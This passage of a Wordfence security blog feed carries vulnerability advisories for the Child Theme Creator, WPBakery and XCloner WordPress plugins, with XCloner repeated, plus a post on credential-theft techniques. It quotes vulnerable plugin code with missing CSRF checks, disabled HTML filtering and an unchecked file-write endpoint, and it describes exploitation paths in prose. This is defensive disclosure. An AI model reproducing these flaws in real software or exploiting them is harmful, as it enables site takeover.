            $buff = orbisius_ctc_theme_editor_manage_file(3);

            break;

        case 'syntax_check':
            $buff = orbisius_ctc_theme_editor_manage_file(4);

            break;

        case 'send_theme':
            $buff = orbisius_ctc_theme_editor_manage_file(5);

            break;

        default:
            break;
    }

    die($buff);

The orbisius_ctc_theme_editor_manage_file function tied to the each ‘sub_cmd’ value did have a capability check, however, it was missing any form of Cross-Site Request Forgery protection.

 function orbisius_ctc_theme_editor_manage_file( $cmd_id = 1 ) {
  if ( ! current_user_can( 'edit_themes' ) ) {
        return 'Missing data!';
    }

This meant that if attackers could get a site administrator to click on a link or perform an action, then an attacker could use the orbisius_ctc_theme_editor_manage_file function tied to the AJAX action to upload an arbitrary file to the site’s theme directory, or modify any existing theme files to inject malicious code and create a webshell or backdoor.

Once an attacker uploads a backdoor or webshell, they could maintain persistence on the WordPress site and server as well as execute arbitrary commands to escalate their privileges.

Recommended Procedure for Utility Plugins

Child Theme Creator by Orbisius falls into a category of utility plugins that are rarely used more than a few times, and are not required for the front-end functionality of the site. These utility plugins, such as file managers, child theme creators, site duplicators, or database optimization utilities, are only useful for a short time to allow a site administrator to perform a specific action, but these plugins provide no useful functionality for site visitors.

The less code you leave on your WordPress site, whether themes or plugins, the less you have to maintain. Also, less code on your WordPress site leaves fewer possibilities for vulnerabilities that could put your site at risk. As such, we recommend that you only install utility plugins on your site when you need to perform a specific action and, as a general rule, remove those plugins completely from your site when they are not in use in order to keep your site safe.

Disclosure Timeline

September 9, 2020 – Initial discovery of the vulnerability. We develop a firewall rule to protect Wordfence customers and release it. Wordfence Premium users receive this rule. We make our initial contact attempt with the plugin’s developer.
September 10, 2020 – The plugin’s developer confirms the inbox for handling discussion. We send over full disclosure.
September 11, 2020 – The plugin’s developer confirms the vulnerability and provides us with a patched copy to verify the fixes. We confirm the fixes the same day.
September 22, 2020 – Follow-up to confirm when the fix will be released to the WordPress repository. The plugin’s developer responds the same day confirming that the fix will be released that week.
September 30, 2020 – The patch is released in version 1.5.2.
October 9, 2020 – Free Wordfence users receive firewall rule.

Conclusion

In today’s post, we detailed a flaw in Child Theme Creator by Orbisius that granted attackers the ability to upload arbitrary files and modify existing theme files, which could be used to achieve remote code execution. This flaw has been fully patched in version 1.5.2. We recommend that users immediately update to the latest version available, which is version 1.5.2 at the time of this publication.

Both sites using Wordfence Premium and those still using the free version of Wordfence are protected from attacks against this vulnerability. Wordfence Premium users received this protection on September 10, 2020 while those still using the free version of Wordfence received the same protection on October 10, 2020.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a high severity security update.

The post High Severity Vulnerability Patched in Child Theme Creator by Orbisius appeared first on Wordfence.

Read More

Vulnerability Exposes Over 4 Million Sites Using WPBakery

On July 27th, our Threat Intelligence team discovered a vulnerability in WPBakery, a WordPress plugin installed on over 4.3 million sites. This flaw made it possible for authenticated attackers with contributor-level or above permissions to inject malicious JavaScript in posts.

We initially reached out to the plugin’s team on July 28, 2020 through their support forum. After receiving confirmation of the appropriate support channel, we disclosed the full details on July 29, 2020. They confirmed the vulnerability and reported that their development team had begun working on a fix on July 31, 2020. After a long period of correspondence with the plugin development team, and a number of insufficient patches, a final sufficient patch was released on September 24, 2020.

We highly recommend updating to the latest version, 6.4.1 as of today, immediately. While doing so, we also recommend verifying that you do not have any untrusted contributor or author user accounts on your WordPress site.

Wordfence Premium users have been protected against exploits targeting these vulnerabilities since July 28, 2020. Wordfence free users received the same protection on August 28, 2020.

Description: Authenticated Stored Cross-Site Scripting (XSS)
Affected Plugin: WPBakery
Plugin Slug: js_composer
Affected Versions: <= 6.4
CVE ID: Pending.
CVSS Score: 6.4 Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.4.1

WPBakery page builder is the most popular page builder for WordPress. It is a very easy to use tool that allows site owners to create custom pages using drag and drop capabilities.

Unfortunately, the plugin was designed with a flaw that could give users with contributor and author level roles the ability to inject malicious JavaScript into pages and posts. This flaw also gave these users the ability to edit other users’ posts. The plugin explicitly disabled any default post HTML filtering checks in the saveAjaxFe function using kses_remove_filters();. This meant that any user with access to the WPBakery builder could inject HTML and JavaScript anywhere in a post using the page builder.

	public function saveAjaxFe() {
		vc_user_access()->checkAdminNonce()->validateDie()->wpAny( 'edit_posts', 'edit_pages' )->validateDie();

		$post_id = intval( vc_post_param( 'post_id' ) );
		if ( $post_id > 0 ) {
			ob_start();

			// Update post_content, title and etc.
			// post_title
			// content
			// post_status
			if ( vc_post_param( 'content' ) ) {
				$post = get_post( $post_id );
				$post->post_content = stripslashes( vc_post_param( 'content' ) );
				$post_status = vc_post_param( 'post_status' );
				$post_title = vc_post_param( 'post_title' );
				if ( null !== $post_title ) {
					$post->post_title = $post_title;
				}
				kses_remove_filters();
				remove_filter( 'content_save_pre', 'balanceTags', 50 );

Furthermore, while WPBakery only intended pages that were built with the WPBakery page builder to be editable via the builder, users could access the editor by supplying the correct parameters and values for any post. This could be classified as a general bug as well as a security issue, and is what made it possible for contributors and editors to use the wp_ajax_vc_save AJAX action and corresponding saveAjaxFe function to inject malicious JavaScript on their own posts as well as other users’ posts.

The plugin also had custom onclick functionality for buttons. This made it possible for an attacker to inject malicious JavaScript in a button that would execute on a click of the button. Furthermore, contributor and author level users were able to use the vc_raw_js, vc_raw_html, and button using custom_onclick shortcodes to add malicious JavaScript to posts.

All of these meant that a user with contributor-level access could inject scripts in posts that would later execute once someone accessed the page or clicked a button, using various different methods. As contributor-level users require approval before publishing, it is highly likely that an administrator would view a page containing malicious JavaScript created by an attacker with contributor-level access. By executing malicious JavaScript in the administrator’s browser, it would be possible for an attacker to create a new malicious administrative user or inject a backdoor, among many other things.

In the latest version of WPBakery, lower level users no longer have unfiltered_html capabilities by default, however, administrators can grant that permission if they wish to. In addition, users without the appropriate privileges can no longer edit other users’ posts, access the page builder unless permitted, or use shortcodes that could allow the injection of malicious JavaScript.

Dual Account Control

One strategy to keep your site protected from Cross-Site Scripting attacks against higher-privileged accounts is to use dual accounts. Dual account control uses two accounts for any user that may require administrative capability. This can be done by using one user account with administrative capabilities for admin-related tasks like adding new users and plugins and another user account with editor capabilities used to review and approve author and contributor posts.

Doing so will limit the impact that a Cross-Site Scripting vulnerability may have. When you access a page as a site administrator, any malicious JavaScript that an attacker injects can use administrative only functions like adding a new user or editing a theme file to further infect the site. By using a user account with only editor capabilities while editing, creating, and checking on posts created by lower-level users, an XSS exploitation attempt could be limited, as an attacker can’t successfully add new admin accounts or edit themes through an Editor account.

Especially in cases where many users can access authenticated actions, we recommend using an administrative user account only when you need to perform administrative functions on your site.

Disclosure Timeline

July 27, 2020 – Initial discovery of the vulnerability. We develop a firewall rule and move it into the testing phase.
July 28, 2020 – The firewall rule is sufficiently tested and released to premium users. We make our initial outreach to the WPBakery plugin team.
July 29, 2020 – The WPBakery team responds confirming the appropriate inbox and we send over full disclosure details.
August 21, 2020 – After some follow-up an initial patch is released.
August 26, 2020 – We let the WPBakery team know that there are some additional minor problems missed that require resolution.
August 28, 2020 – Wordfence free users receive the firewall rule.
September 2, 2020 – We follow up to see if the WPBakery team received our last email.
September 9, 2020 – The WPBakery team confirms they received our email and are working on getting an additional patch released.
September 11, 2020 – The WPBakery team releases an additional patch that is not fully sufficient.
September 11 to 23, 2020 – We work together more closely to get an adequate patch out.
September 24, 2020 – Final sufficient patch released in version 6.4.1.

Conclusion

In today’s post, we detailed a flaw in the WPBakery Plugin that provided authenticated users with the ability to inject malicious JavaScript into posts using the WPBakery Page builder. Along with that, we provided some insight on how you can protect yourself against Contributor and Author level vulnerabilities. This flaw has been fully patched in version 6.4.1. We recommend that users immediately update to the latest version available, which is version 6.4.1 at the time of this publication.

As WPBakery is a premium plugin often included as a page builder with numerous premium themes, you may need to double check that any updates are available to you with your theme purchase. Verifying the plugin version number in your plugins dashboard should alert you to the version installed on your site.

Sites using Wordfence Premium have been protected against attacks attempting to exploit this vulnerability since July 28, 2020. Sites still using the free version of Wordfence received the same protection on August 28, 2020.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a significant security update.

The post Vulnerability Exposes Over 4 Million Sites Using WPBakery appeared first on Wordfence.

Read More

Common Ways Attackers Are Stealing Credentials

A few weeks ago, we reviewed some of the worst website hacks we’ve ever seen. Every one of them started with poor password choices and escalated into a disastrous event for the site owner. Strong passwords and good password hygiene are often the first line of defense.

On September 29, 2020, the Wordfence Live team covered the 10 Worst Password Mistakes We’ve Ever Seen. This companion blog post reviews the most Common Ways Attackers Are Stealing Credentials to shed some light on common ways malicious actors are obtaining passwords so that you can make better decisions about your credentials

We will follow-up with an additional post summarizing the 10 mistakes we covered in Wordfence Live.

You can watch the video of Wordfence Live below.

Timestamps

Here are timestamps in case you’d like to jump around:

  • 0:00 Introduction
  • 7:43 What is a password?
  • 9:48 Common attack methods that compromise passwords
  • 10:10 Credential stuffing
  • 12:07 Brute force and dictionary attacks
  • 13:57 Shoulder surfing
  • 15:07 Social engineering
  • 18:02 Phishing
  • 20:15 Wireless sniffing
  • 22:17 Man in the middle attacks

You can click on these timestamps to jump around in the video.

What exactly is a password?

Passwords are a critical component of our lives online. They act as keys granting access to our favorite shopping sites, our bank accounts, our social media and email accounts, and even our WordPress sites.

A password is used to prove your online identity. A username acts as an identification mechanism to tell a site who you are, while a password acts as an authentication mechanism to verify that the identity you are claiming is truly and authentically your identity.

It is incredibly important to safeguard your passwords and follow password best practices. Passwords protect your online identity. If any of your passwords are compromised, attackers can gain access to online accounts and sensitive information, causing irreparable harm to your business, your livelihood, and even your personal identity.

What are some common password-stealing attack methods?

No matter what kind of password attack is being used, the end goal for the attacker is to “spoof” your identity by using your compromised password and successfully authenticate as you. Here are the most common methods of stealing or compromising passwords to gain unauthorized entry.

Attack Type #1: Credential Stuffing

Credential stuffing occurs when an attacker already has access to username and password combinations which are commonly obtained from data breaches. In this kind of attack, attackers send automated requests containing these username and password combinations to try to successfully authenticate as you. If successful, attackers can steal your sensitive data, make changes on your account, or even impersonate you. A targeted credential stuffing attack might succeed within a single try, while a large-scale campaign might try millions of combinations against a single site.

To combat credential stuffing attacks, make sure you are not reusing passwords across sites. Monitor your credentials to verify that they haven’t been exposed in a data breach with a service such as haveibeenpwned.com. If your passwords are ever compromised, change them immediately.

 


Attack Type #2: Password Cracking Techniques

There are several password cracking techniques that attackers use to “guess” passwords to systems and accounts. The top three most common password cracking techniques we see are brute force attacks, dictionary attacks, and rainbow table attacks.

In a dictionary attack, an attacker will use a dictionary list of words and combinations of dictionary words to try and guess the password. They may use single dictionary words or a combination of dictionary words, however, the simplicity of having a dictionary list is what makes this an attractive attack method for attackers.

A brute force attack takes things a little further than a dictionary attack An attacker will try various different combinations of letters, numbers, and special characters to try and “guess” the right password. Establishing resources to automate brute force attacks is easy and inexpensive, and attackers usually end up with large databases of credentials due to users using weak passwords.

A rainbow table attack occurs when an attacker uses a precomputed table of hashes based on common passwords, dictionary words, and pre-computed passwords to try and find a password based on its hash. This typically occurs when an attacker is able to gain access to a list of hashed passwords and wants to crack the passwords very quickly. In many cases, credential breaches only contain hashed passwords, so attackers will often use rainbow table attacks to discover the plaintext versions of these passwords for later use in credential stuffing attacks.

Password cracking attacks are quite common and one of the most prevalent types of attacks next to credential stuffing. WordPress sites are often heavily targeted by these attacks.

Weak passwords can take seconds to crack with the right tools, making it incredibly important to use strong, unique passwords across all sites.

 


Attack Type #3: Shoulder Surfing

Shoulder surfing occurs when a malicious bystander observes the sensitive information you type on your keyboard or on your screen from over the shoulder.

This can occur anywhere, whether in an office space, in a coffee shop, on an airplane, etc. Anywhere you access or enter sensitive information while in a public venue can put your passwords at risk. If you are not aware of your surroundings when logging in to sites in public spaces, or in your office, then you can fall victim to this attack.

Be aware of your surroundings when authenticating into sites or resources and ensure no one is watching you. Privacy screens that block screen visibility can be protective if you frequently work in public spaces.

 


Attack Type #4: Social Engineering

Social engineering targets the weakest link in security: humans. These attacks are incredibly common and often fairly successful. Social engineering is primarily a psychological attack tricking humans into performing an action they might not otherwise do based on social trust. For example, an attacker might engineer their way into a corporate physical facility. Once inside, they could approach an employee and say they’re troubleshooting a problem with a very specific service, and their credentials aren’t working.

Social engineering can happen in many ways, including in person, over the phone, through social media, through email phishing. To protect yourself, verify the identity of anyone requesting sensitive information or passwords. Never share sensitive information, especially your passwords, with someone you don’t know, don’t trust, or cannot verify. If possible, never share your passwords with anyone, even if you do trust them.

If you have employees, have them participate in security awareness training to learn how to recognize different social engineering attacks and prepare for reporting and alerting others when a suspected social engineering attack targets an organization.

Never provide sensitive information or passwords to strangers, regardless of who they claim to be. If a help desk technician is calling you saying they need your credentials, verify with your boss first or just say no. In most cases, reputable service providers have alternate ways of obtaining information that will not require your credentials.

 


Attack Type #5: Phishing

While often considered a subcategory of social engineering, phishing is so prevalent that it deserves its own “attack” category. Phishing occurs when an attacker crafts an email to look like it is coming from a legitimate source in order to trick the victim into clicking a link or supplying sensitive information like passwords, social security numbers, bank account information, and more. These emails can range from beautifully crafted and imperceptibly close to the real deal to laughably simple and obviously fake.

Targeted phishing attacks, known as spear phishing, are incredibly effective and often appear to come from a trusted source such as a boss or coworker. If you receive an email from someone you trust asking for something unusual, verify that it was sent by the person who appeared to have sent it by calling them on the phone, talking to them in person, or using some other method of communication.

Verify the source of any email you receive by checking the email headers. We also recommend that you avoid supplying any sensitive information to someone you don’t fully trust. Never click links in emails as they can often lead to phishing kits designed to collect your credentials and hand them over to attackers. To check the validity of the information emailed to you, close your email, and type the name of the institution that purportedly sent the email into your browser location bar to login to their site.

 


Attack Type #6: Wireless Sniffing

An attacker using tools to examine network traffic can “sniff” the network to capture and read packets of data sent. Wireless sniffing captures data being sent between an unsuspecting user’s computer and the server that the client is making the request to. If a site isn’t using a TLS/SSL certificate, an attacker with these tools can easily obtain your passwords just by capturing the packets that are sent.

Use a VPN when accessing sites on public wifi so that an attacker cannot easily capture and read your data. If your WordPress site is not using a TLS/SSL certificate, your WordPress credentials are being sent in plaintext whenever you login. Ensure that you have a TLS/SSL certificate installed on your WordPress site to help keep your site visitors’ data, including passwords, safe in transit.

 


Attack Type #7: Man-in-the-Middle Attack

A Man-in-the-Middle attack occurs when an attacker intercepts traffic, acting as the receiving server of requests and subsequently observing all the traffic being sent to the server they are attacking before forwarding the packets to the legitimate server. This can occur in many different situations, from accessing a website from your home to accessing resources in an office.

Your best protection when it comes to man-in-the-middle attacks is to ensure the site you are visiting is trusted, and the SSL/TLS certificate installed on the site is valid. Google will alert you if there is something suspicious about the SSL/TLS certificate on a site, so if you get that warning, make sure to avoid entering any sensitive information or passwords into that site. You can also use a VPN so that your data remains encrypted when traversing any network.

 


 

Conclusion

Today, we covered some of the most common password stealing techniques in use today. Understanding these attack types is important to know how hackers can gain access to your passwords. By better understanding what attackers are doing, you can better understand what you need to do to protect yourself against password compromise.

This is the first of two related posts. We will be following up with an additional post diving into the top 10 Worst Password Mistakes We’ve Ever Seen.

We often recommend that you share our posts with colleagues and friends that are affected. Today we are asking that you share this post with everyone from your grandma to your next door neighbor. Password theft affects everyone. By sharing this post with everyone, we can hopefully raise awareness about password security and its importance, and make the internet a better and safer place for everyone.

The post Common Ways Attackers Are Stealing Credentials appeared first on Wordfence.

Read More

Critical Vulnerabilities Patched in XCloner Backup and Restore Plugin

On August 14, our Threat Intelligence team discovered several vulnerabilities present in XCloner Backup and Restore, a WordPress plugin installed on over 30,000 sites. This flaw gave authenticated attackers, with subscriber-level or above capabilities, the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution on a vulnerable site’s server. Alternatively, an attacker could create an exploit chain to obtain a database dump due to the same unprotected AJAX endpoint, amongst other things. The plugin also contained several endpoints that were vulnerable to cross-site request forgery (CSRF).

We initially reached out to the plugin’s team on August 17, 2020. After establishing an appropriate communication channel, we provided the full disclosure details on August 18, 2020. The plugin’s team quickly released an initial patch on August 19, 2020 to resolve the most severe problem, and they released an additional patch on September 8, 2020 to resolve the remaining issues.

This is considered a critical security issue that could lead to remote code execution on a vulnerable site’s server. If you haven’t already updated, we highly recommend updating to the fully patched version, 4.2.153, immediately.

Wordfence Premium users received a firewall rule on August 17, 2020 to protect against any exploits targeting these vulnerabilities. Sites still using the free version of Wordfence received the same protection on September 17, 2020.

Description: Unprotected AJAX Action to Arbitrary File Overwrite and Sensitive Information Disclosure
Affected Product: XCloner Backup and Restore
Plugin slug: xcloner-backup-and-restore
Affected Versions: 4.2.1 – 4.2.12
CVE ID: Pending.
CVSS Score: 9.9 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 4.2.13

XCloner Backup and Restore is a plugin designed to provide WordPress users with easily customizable backups and simple-to-use restore functionality. Most of the plugin’s functionality is powered through the use of various AJAX actions that perform functionality without requiring the page to refresh every time.

            $this->loader->add_action('wp_ajax_get_database_tables_action', $xcloner_api, 'get_database_tables_action');
            $this->loader->add_action('wp_ajax_get_file_system_action', $xcloner_api, 'get_file_system_action');
            $this->loader->add_action('wp_ajax_scan_filesystem', $xcloner_api, 'scan_filesystem');
            $this->loader->add_action('wp_ajax_backup_database', $xcloner_api, 'backup_database');
            $this->loader->add_action('wp_ajax_backup_files', $xcloner_api, 'backup_files');
            $this->loader->add_action('wp_ajax_save_schedule', $xcloner_api, 'save_schedule');
            $this->loader->add_action('wp_ajax_get_schedule_by_id', $xcloner_api, 'get_schedule_by_id');
            $this->loader->add_action('wp_ajax_get_scheduler_list', $xcloner_api, 'get_scheduler_list');
            $this->loader->add_action('wp_ajax_delete_schedule_by_id', $xcloner_api, 'delete_schedule_by_id');
            $this->loader->add_action('wp_ajax_delete_backup_by_name', $xcloner_api, 'delete_backup_by_name');
            $this->loader->add_action('wp_ajax_download_backup_by_name', $xcloner_api, 'download_backup_by_name');
            $this->loader->add_action('wp_ajax_remote_storage_save_status', $xcloner_api, 'remote_storage_save_status');
            $this->loader->add_action('wp_ajax_upload_backup_to_remote', $xcloner_api, 'upload_backup_to_remote');
            $this->loader->add_action('wp_ajax_list_backup_files', $xcloner_api, 'list_backup_files');
            $this->loader->add_action('wp_ajax_restore_upload_backup', $xcloner_api, 'restore_upload_backup');
            $this->loader->add_action('wp_ajax_download_restore_script', $xcloner_api, 'download_restore_script');
            $this->loader->add_action('wp_ajax_copy_backup_remote_to_local', $xcloner_api, 'copy_backup_remote_to_local');
            $this->loader->add_action('wp_ajax_restore_backup', $this, 'restore_backup');
            $this->loader->add_action('wp_ajax_backup_encryption', $xcloner_api, 'backup_encryption');
            $this->loader->add_action('wp_ajax_backup_decryption', $xcloner_api, 'backup_decryption');
            $this->loader->add_action('wp_ajax_get_manage_backups_list', $xcloner_api, 'get_manage_backups_list');
    

Nearly all of these AJAX actions were hooked to the /vendor/watchfulli/xcloner-core/src/Xcloner_Api.php file which acted as a single functional source file with a corresponding security check used for each function. These functions were protected from unauthorized use by a capability check function check_access().

    /**
     * Checks API access
     */
    public function check_access()
    {
        if (function_exists('current_user_can') && !current_user_can('manage_options')) {
            $this->send_response(json_encode("Access not allowed!"));
        }
    }

However, the AJAX action used to restore back-ups, wp_ajax_restore_backup, did not hook to the Xcloner_Api.php file, and therefore, did not process the same check_access() capability check function even though it was included in the function.

           $this->loader->add_action('wp_ajax_restore_backup', $this, 'restore_backup');

   /**
     * Restore backup api call
     */
    public function restore_backup()
    {
        $this->check_access();

        define("XCLONER_PLUGIN_ACCESS", 1);
        include_once(dirname(__DIR__).DS."restore".DS."xcloner_restore.php");

        return;
    }
}

This meant that low-level users, like subscribers, could trigger this action and use any of the corresponding functions present in the xcloner_restore.php file. This consists of the following functions:

  • write_file_action
  • restore_mysql_backup_action
  • list_backup_files_action
  • restore_finish_action
  • list_mysqldump_backups_action
  • list_backup_archives_action
  • restore_backup_to_path_action
  • get_current_directory_action

The most critical function was the write_file_action function, which would allow a subscriber-level user the ability to overwrite any files. This functionality could give attackers the ability to overwrite the wp-config.php file containing WordPress database credentials and other important settings. Exploiting this vulnerability means an attacker could overwrite the wp-config.php to an empty file so that WordPress is tricked into thinking there is a new installation. This would then allow an attacker to connect their own database to an affected site and modify any files once they have re-configured the WordPress installation. Alternatively, an attacker could overwrite any other file with a backdoor and use that to gain access to the website’s entire filesystem.

The second most critical function is the get_current_directory function, which returns the SQL database credentials for the site, along with the absolute path of the installation. If an attacker could locate public access to the database, then they could log in and steal sensitive information, add an administrative user account, delete posts, or even redirect the site by changing the site url, amongst other malicious activities.

The other plugin actions by themselves have less potential for harm individually, however, an attacker could chain an exploit of these actions together to obtain a SQL database dump. Due to the complexity this type of attack would require, it is unlikely to be actively exploited in the wild.

Description: Cross-Site Request Forgery
Affected Product: XCloner Backup and Restore
Plugin slug: xcloner-backup-and-restore
Affected Versions:  <= 4.2.152
CVE ID: Pending.
CVSS Score: 8.8 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fully Patched Version: 4.2.153

In addition to an almost completely unprotected AJAX endpoint, almost all of the endpoints in the plugin were vulnerable to cross-site request forgery due to a failure to implement nonces and corresponding checks.

An attacker could use a CSRF attack to trigger a backup or update plugin options, along with all of the malicious activity outlined above.

Disclosure Timeline

August 14, 2020 – Initial discovery of vulnerable function and further analysis of plugin. Firewall rule creation process begins.
August 17, 2020 – Firewall rule tested and deployed to Wordfence premium users. Initial outreach to the plugin’s team.
August 18, 2020 – We send full disclosure details.
August 19, 2020 – An initial patch is released resolving the unprotected AJAX vulnerability.
August 20, 2020 – We follow up to disclose that several endpoints remain with no CSRF protection.
August 28, 2020 – The plugin’s team confirms that they are working on the issue and will release a patch shortly.
September 8, 2020 – A final and sufficient patch is released in version 4.2.153.
September 17, 2020 – Wordfence free users receive the firewall rule.

Conclusion

In today’s post, we detailed a flaw in the XCloner Backup and Restore plugin that allowed authenticated users to modify arbitrary files and execute any code on the server, as well as several CSRF vulnerabilities. These flaws have been fully patched in version 4.2.153. We recommend that users immediately update to the latest version available, which is version 4.2.153 at the time of this publication.

Sites using Wordfence Premium have been protected from any exploits targeting this vulnerability since August 17, 2020. Sites still running the free version of Wordfence received the same protection on September 17, 2020.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a critical security update.

The post Critical Vulnerabilities Patched in XCloner Backup and Restore Plugin appeared first on Wordfence.

Read More

Critical Vulnerabilities Patched in XCloner Backup and Restore Plugin

On August 14, our Threat Intelligence team discovered several vulnerabilities present in XCloner Backup and Restore, a WordPress plugin installed on over 30,000 sites. This flaw gave authenticated attackers, with subscriber-level or above capabilities, the ability to modify arbitrary files, including PHP files. Doing so would allow an attacker to achieve remote code execution on a vulnerable site’s server. Alternatively, an attacker could create an exploit chain to obtain a database dump due to the same unprotected AJAX endpoint, amongst other things. The plugin also contained several endpoints that were vulnerable to cross-site request forgery (CSRF).

We initially reached out to the plugin’s team on August 17, 2020. After establishing an appropriate communication channel, we provided the full disclosure details on August 18, 2020. The plugin’s team quickly released an initial patch on August 19, 2020 to resolve the most severe problem, and they released an additional patch on September 8, 2020 to resolve the remaining issues.

This is considered a critical security issue that could lead to remote code execution on a vulnerable site’s server. If you haven’t already updated, we highly recommend updating to the fully patched version, 4.2.153, immediately.

Wordfence Premium users received a firewall rule on August 17, 2020 to protect against any exploits targeting these vulnerabilities. Sites still using the free version of Wordfence received the same protection on September 17, 2020.

Description: Unprotected AJAX Action to Arbitrary File Overwrite and Sensitive Information Disclosure
Affected Product: XCloner Backup and Restore
Plugin slug: xcloner-backup-and-restore
Affected Versions: 4.2.1 – 4.2.12
CVE ID: Pending.
CVSS Score: 9.9 (CRITICAL)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fully Patched Version: 4.2.13

XCloner Backup and Restore is a plugin designed to provide WordPress users with easily customizable backups and simple-to-use restore functionality. Most of the plugin’s functionality is powered through the use of various AJAX actions that perform functionality without requiring the page to refresh every time.

            $this->loader->add_action('wp_ajax_get_database_tables_action', $xcloner_api, 'get_database_tables_action');
            $this->loader->add_action('wp_ajax_get_file_system_action', $xcloner_api, 'get_file_system_action');
            $this->loader->add_action('wp_ajax_scan_filesystem', $xcloner_api, 'scan_filesystem');
            $this->loader->add_action('wp_ajax_backup_database', $xcloner_api, 'backup_database');
            $this->loader->add_action('wp_ajax_backup_files', $xcloner_api, 'backup_files');
            $this->loader->add_action('wp_ajax_save_schedule', $xcloner_api, 'save_schedule');
            $this->loader->add_action('wp_ajax_get_schedule_by_id', $xcloner_api, 'get_schedule_by_id');
            $this->loader->add_action('wp_ajax_get_scheduler_list', $xcloner_api, 'get_scheduler_list');
            $this->loader->add_action('wp_ajax_delete_schedule_by_id', $xcloner_api, 'delete_schedule_by_id');
            $this->loader->add_action('wp_ajax_delete_backup_by_name', $xcloner_api, 'delete_backup_by_name');
            $this->loader->add_action('wp_ajax_download_backup_by_name', $xcloner_api, 'download_backup_by_name');
            $this->loader->add_action('wp_ajax_remote_storage_save_status', $xcloner_api, 'remote_storage_save_status');
            $this->loader->add_action('wp_ajax_upload_backup_to_remote', $xcloner_api, 'upload_backup_to_remote');
            $this->loader->add_action('wp_ajax_list_backup_files', $xcloner_api, 'list_backup_files');
            $this->loader->add_action('wp_ajax_restore_upload_backup', $xcloner_api, 'restore_upload_backup');
            $this->loader->add_action('wp_ajax_download_restore_script', $xcloner_api, 'download_restore_script');
            $this->loader->add_action('wp_ajax_copy_backup_remote_to_local', $xcloner_api, 'copy_backup_remote_to_local');
            $this->loader->add_action('wp_ajax_restore_backup', $this, 'restore_backup');
            $this->loader->add_action('wp_ajax_backup_encryption', $xcloner_api, 'backup_encryption');
            $this->loader->add_action('wp_ajax_backup_decryption', $xcloner_api, 'backup_decryption');
            $this->loader->add_action('wp_ajax_get_manage_backups_list', $xcloner_api, 'get_manage_backups_list');
    

Nearly all of these AJAX actions were hooked to the /vendor/watchfulli/xcloner-core/src/Xcloner_Api.php file which acted as a single functional source file with a corresponding security check used for each function. These functions were protected from unauthorized use by a capability check function check_access().

    /**
     * Checks API access
     */
    public function check_access()
    {
        if (function_exists('current_user_can') && !current_user_can('manage_options')) {
            $this->send_response(json_encode("Access not allowed!"));
        }
    }

However, the AJAX action used to restore back-ups, wp_ajax_restore_backup, did not hook to the Xcloner_Api.php file, and therefore, did not process the same check_access() capability check function even though it was included in the function.

           $this->loader->add_action('wp_ajax_restore_backup', $this, 'restore_backup');

   /**
     * Restore backup api call
     */
    public function restore_backup()
    {
        $this->check_access();

        define("XCLONER_PLUGIN_ACCESS", 1);
        include_once(dirname(__DIR__).DS."restore".DS."xcloner_restore.php");

        return;
    }
}

This meant that low-level users, like subscribers, could trigger this action and use any of the corresponding functions present in the xcloner_restore.php file. This consists of the following functions:

  • write_file_action
  • restore_mysql_backup_action
  • list_backup_files_action
  • restore_finish_action
  • list_mysqldump_backups_action
  • list_backup_archives_action
  • restore_backup_to_path_action
  • get_current_directory_action

The most critical function was the write_file_action function, which would allow a subscriber-level user the ability to overwrite any files. This functionality could give attackers the ability to overwrite the wp-config.php file containing WordPress database credentials and other important settings. Exploiting this vulnerability means an attacker could overwrite the wp-config.php to an empty file so that WordPress is tricked into thinking there is a new installation. This would then allow an attacker to connect their own database to an affected site and modify any files once they have re-configured the WordPress installation. Alternatively, an attacker could overwrite any other file with a backdoor and use that to gain access to the website’s entire filesystem.

The second most critical function is the get_current_directory function, which returns the SQL database credentials for the site, along with the absolute path of the installation. If an attacker could locate public access to the database, then they could log in and steal sensitive information, add an administrative user account, delete posts, or even redirect the site by changing the site url, amongst other malicious activities.

The other plugin actions by themselves have less potential for harm individually, however, an attacker could chain an exploit of these actions together to obtain a SQL database dump. Due to the complexity this type of attack would require, it is unlikely to be actively exploited in the wild.

Description: Cross-Site Request Forgery
Affected Product: XCloner Backup and Restore
Plugin slug: xcloner-backup-and-restore
Affected Versions:  <= 4.2.152
CVE ID: Pending.
CVSS Score: 8.8 (High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fully Patched Version: 4.2.153

In addition to an almost completely unprotected AJAX endpoint, almost all of the endpoints in the plugin were vulnerable to cross-site request forgery due to a failure to implement nonces and corresponding checks.

An attacker could use a CSRF attack to trigger a backup or update plugin options, along with all of the malicious activity outlined above.

Disclosure Timeline

August 14, 2020 – Initial discovery of vulnerable function and further analysis of plugin. Firewall rule creation process begins.
August 17, 2020 – Firewall rule tested and deployed to Wordfence premium users. Initial outreach to the plugin’s team.
August 18, 2020 – We send full disclosure details.
August 19, 2020 – An initial patch is released resolving the unprotected AJAX vulnerability.
August 20, 2020 – We follow up to disclose that several endpoints remain with no CSRF protection.
August 28, 2020 – The plugin’s team confirms that they are working on the issue and will release a patch shortly.
September 8, 2020 – A final and sufficient patch is released in version 4.2.153.
September 17, 2020 – Wordfence free users receive the firewall rule.

Conclusion

In today’s post, we detailed a flaw in the XCloner Backup and Restore plugin that allowed authenticated users to modify arbitrary files and execute any code on the server, as well as several CSRF vulnerabilities. These flaws have been fully patched in version 4.2.153. We recommend that users immediately update to the latest version available, which is version 4.2.153 at the time of this publication.

Sites using Wordfence Premium have been protected from any exploits targeting this vulnerability since August 17, 2020. Sites still running the free version of Wordfence received the same protection on September 17, 2020.

If you know a friend or colleague who is using this plugin on their site, we highly recommend forwarding this advisory to them to help keep their sites protected as this is a critical security update.

The post Critical Vulnerabilities Patched in XCloner Backup and Restore Plugin appeared first on Wordfence.

Read More

The Hacker Motive: What Attackers Are Doing with Your Hacked Site

